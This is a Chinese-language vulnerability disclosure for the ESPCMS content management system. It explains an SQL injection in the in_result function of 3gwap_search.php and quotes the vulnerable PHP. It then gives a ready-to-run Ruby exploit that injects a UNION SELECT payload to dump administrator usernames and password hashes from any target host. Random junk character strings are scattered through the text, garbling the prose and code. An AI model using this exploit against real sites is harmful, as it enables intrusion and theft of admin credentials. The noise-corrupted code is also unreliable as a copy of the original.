0×0 漏洞概述0×1 漏洞细节
6 M/ n, B% S5 N! X9 U$ R0×2 PoC
: X) A1 G2 Q/ r6 d k6 e7 x7 A, S( g# s
. u: }; z1 o; @ o' P% ^
4 O/ x( Z, V$ n. R) V; `
0×0 漏洞概述
: x* F9 m, T+ x/ _
! w+ ^, \# G% k" X+ N易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。3 I# d: L3 i( Z$ E
其在处理传入的参数时考虑不严谨导致SQL注入发生4 K; B; r; ? }1 v
7 z" [% g' O4 ~/ t6 L+ D( k0 o5 o
. ?8 d( |: f8 M( V, U' y
0×1 漏洞细节: j0 M4 a% U4 m+ m( z8 F5 `5 y6 x
2 U E- e/ a4 W变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。$ l2 _' C& I: K) U2 H
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
# ]1 C. j6 c' a而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
& J( I4 O. m/ r# F( H" W7 C" i/ ?3 L8 X+ S- q3 L. O% j; x
在/interface/3gwap_search.php文件的in_result函数中:
4 w$ w1 F# n& e- j5 d$ q, B- x# U% @# w- U6 `2 \, T0 t5 F
/ B! k3 X; L0 s4 A
4 v+ ?. W9 x- H1 G) m" s6 N' d' E
function in_result() {
8 ?* x: {! O* }0 y% F: ?- I ... ... ... ... ... ... ... ... ...' `$ L* C, U0 e" h, N$ E
$urlcode = $_SERVER[ 'QUERY_STRING '];- I# v- V: c4 A
parse_str(html_entity_decode($urlcode), $output);% Q$ i% K" ~: e" h, l: {* n
+ r! j& d+ F3 Y' ? ... ... ... ... ... ... ... ... ...9 B( @1 Z! F: l! o4 e. F
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
1 ~+ T2 K' ?1 ?' x# Z
' `* _! C0 y4 f! w9 I, J $db_table = db_prefix . 'model_att';. r9 I5 z6 Q, S3 e9 w% R4 s) T
& w: S" g) X7 q% u7 h( ?$ {
foreach ($output['attr' ] as $key => $value) {
" v b0 N* Y5 H+ f5 ]- r5 K if ($value) {
5 A- a4 o- b, [& N% G5 n, Z' g1 n
( m: R5 E# y! O8 f3 n $key = addslashes($key);
3 P# F# X6 t: D! f8 d4 | $key = $this-> fun->inputcodetrim($key);: s4 M# T8 O. o1 ^7 S
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
# y4 m; R3 d% L5 J $countnum = $this->db_numrows($db_table, $db_att_where);
7 l5 N6 H, v S4 ? if ($countnum > 0) {
5 Z [ S2 c0 l% b+ p $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
" B0 z0 C% }1 n8 I5 U- C# z }( g7 j" V- ^8 r- q/ t3 H1 p( J# u O
}5 `+ V: Y8 s. E& K% @
}
" I: f! M$ p. U( Q! Z1 p! p9 N }
- s% _" c6 v; r if (!empty ($keyword) && empty($keyname)) {
8 i. h, l D' x: Q! Y $keyname = 'title';
9 u7 x6 D$ P8 y2 U: _% M $db_where.= " AND a.title like '%$keyword%'" ;+ S" ]( `3 r. t! Y$ L+ J+ {5 l
} elseif (!empty ($keyword) && !empty($keyname)) {
% b* S7 O7 J1 g& }8 ^. U; \ $db_where.= " AND $keyname like '% $keyword%'";
( R# i& B P. s6 p }) h1 s# Z% T- \# B
$pagemax = 15;
P$ z; m" n$ i5 @, t! G+ P% j! E/ w% n/ j9 ]# Y+ D, z
$pagesylte = 1;( U0 s; n. A% |# c2 F9 `
& d( p# k# Z) N if ($countnum > 0) {8 q/ U2 K7 Z w4 H4 r/ w9 C
. }- O0 g/ t! h
$numpage = ceil($countnum / $pagemax);
9 h7 ~& {! M4 i) X& E- U9 L) v, }* R8 w } else {8 a n, }/ v2 ~- r" e
$numpage = 1;
3 G# ]3 Z; B! S7 @2 M# a; _ }
% ], Z+ i. Y E+ |3 ]" K $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
. ]2 z6 @9 A3 b' Z8 g* K! N $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);/ I6 e9 N8 A6 _
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
" E2 M) j' _6 [% K ... ... ... ... ... ... ... ... ...
# m" F" v1 ]9 n) [! ] }
% I5 `, l( _. l9 `' h6 k O' T k: p+ D% H8 x( `% H
- U$ \& l& v& S$ L+ d0×2 PoC! Q" ]5 G( }, K6 ~
# ?9 o3 v) [7 n& L% Y
) g3 ]1 K3 `2 y& `; _2 ]
) D/ y5 f3 q- d1 M; A
require "net/http"
, I8 ?8 m; K) o
3 i/ E6 w+ q- W& odef request(method, url); G: w; V' `! q9 u% ~! D, F
if method.eql?("get"); j* U, P# g0 k6 P$ H
uri = URI.parse(url)
, m7 x' S: ~! G2 R' f% Y1 d http = Net::HTTP.new(uri.host, uri.port)$ X7 U9 _6 j, `% ~# Y, d
response = http.request(Net::HTTP::Get.new(uri.request_uri))
* S) s4 v! @# ]2 i return response
# Z4 T3 M' L, ^- N% K$ A( y end
& J0 n: Z. n( Y/ @- }end
* \7 |& D2 u+ X& V8 Z
\/ A* U7 Y# @; p# w1 Bdoc =<<HERE
) a9 O \. ?/ l* j4 e: }% `" J-------------------------------------------------------* l$ N- p+ u1 k1 _8 e7 g# v# U* g
Espcms Injection Exploit7 W( I' T i2 x/ Q% n. G0 _! n
Author:ztz
* h5 g; [1 A5 W p- S1 y# YBlog:http://ztz.fuzzexp.org/7 |# B$ E6 Y) S9 x
-------------------------------------------------------8 R& p( p/ e/ P) l+ I
4 l4 T3 x. c! J* c: Q* sHERE
0 b3 D( y, S6 L2 `
" m$ o2 j5 y# k" f0 {usage =<<HERE
5 O, D8 d9 ]" E7 D" {; T( u, FUsage: ruby #{$0} host port path& `) a3 I: [( @$ } B, h+ G3 s+ D; V
example: ruby #{$0} www.target.com 80 /6 z3 @. I5 K& ?
HERE& z6 j+ i8 M' }' Z$ f; g' j2 f
) Y( B' N" W2 F, G' [puts doc' O( f: \6 v! V: P
if ARGV.length < 30 V7 p' [2 g4 R9 c
puts usage' C0 k' y9 c5 E, K% P0 G
else
( Z# J+ s7 i; z4 l. T' f $host = ARGV[0]
B4 W/ Z8 }; T7 m7 [7 y $port = ARGV[1]
* v3 Q z' U& F" p6 r+ F $path = ARGV[2]1 z8 p. I1 d" X
- I4 F: n; h: b' ?* W puts "send request..."
" v u# G j+ V6 e8 C% l/ L url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&' N( T2 T0 ~6 S6 O7 I
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
) T9 o! k6 b x% [3 [. P# L,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27# ~+ i# a; \9 `3 F6 ?3 X$ \) D
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
9 r* x9 F0 }- a* S+ | h response = request("get", url)
5 w1 z, @! h+ h6 T0 C result = response.body.scan(/\w+&\w{32}/)
. j' n% j- H: q+ Z( K. j puts result/ C* @3 c& w3 o0 {2 D
end' V8 H' E, c- J% ^/ B
; D4 y$ H/ z' S0 v
|